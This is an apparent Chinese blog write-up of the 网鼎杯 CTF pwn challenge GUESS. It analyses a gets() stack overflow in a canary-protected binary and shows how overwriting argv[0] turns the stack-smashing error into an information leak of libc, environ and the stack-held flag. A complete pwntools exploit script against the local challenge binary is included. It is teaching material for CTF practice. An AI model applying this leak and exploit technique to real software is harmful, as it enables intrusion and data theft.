- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
0x00 代码分析
1,检查保护
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
开了CANARY 和 NX
2,使用IDA分析程序流程
程序将本地的flag读入栈中,sub_400A11
函数中调用fork(若成功调用一次则返回两个值,子进程返回0,父进程返回子进程标记;否则,出错返回-1。),if ( !v5 ) break;
-这段代码表示如果是子进程,则退出循环,进入验证流程,将用户输入的与flag比较;如果是父进程则继续循环,3次调用fork,等待所有子进程结束。
0x01 漏洞分析
gets(&s2);
这里明显的栈溢出,但是程序开启了CANARY,栈溢出似乎还存在一些问题,它会进入stack_check,当__stack_check_fail
时会抛出以下信息:
*** stack smashing detected ***:
之后是程序名./GUESS
会打印出正在运行中程序的名称,也就是 argv[0] 指针所指向的字符串,所以,我们只要将__libc_argv[0]
覆盖为flag的地址就能将flag打印出来;同样我们也可以将其覆盖为函数plt.got地址,泄露libc基地址。
问题就在于将__libc_argv[0]
覆盖为flag的地址,我们怎么能够定位栈中的flag地址呢?我们可以利用一个环境变量environ
,environ处会存放当前栈中环境变量所在的位置,以此即可获取栈地址
我们有3次机会,刚刚好。我们可以任意长度覆盖,触发CANNARY,在fork子进程里,崩掉3个空间来泄露。
0X02 漏洞利用
1,我将断点下在main函数,观察参数__libc_argv[0]
可以看到 0x7fffffffdee8 地址存放的是 程序名字符串的地址,所以我们覆盖栈中 0x7fffffffdee8 这个地址内容为想要泄露的东西。
算算偏移离buf地址的偏移,0x7fffffffdee8 - 0x7fffffffddc0 = 0x128 得到偏移为 0x128,且这个偏移是固定的
接下来就是反复泄露了,第一次泄露libc,第二次泄露environ,gdb调试时测得 环境变量 所在 栈地址 距离buf地址相差 0x168,得到buf地址就再次覆盖,bingo!~~ Tips:falg.txt我本地建了一个,详见exp
0x03 完整脚本
from pwn import *
e=ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
environ =e.symbols["environ"]
read_got=0x602040
p = process("./GUESS")
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(read_got))
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - e.symbols["read"]
environ += libc
print hex(libc)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
print p.recvline()
p.close()
0x04 运行结果
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论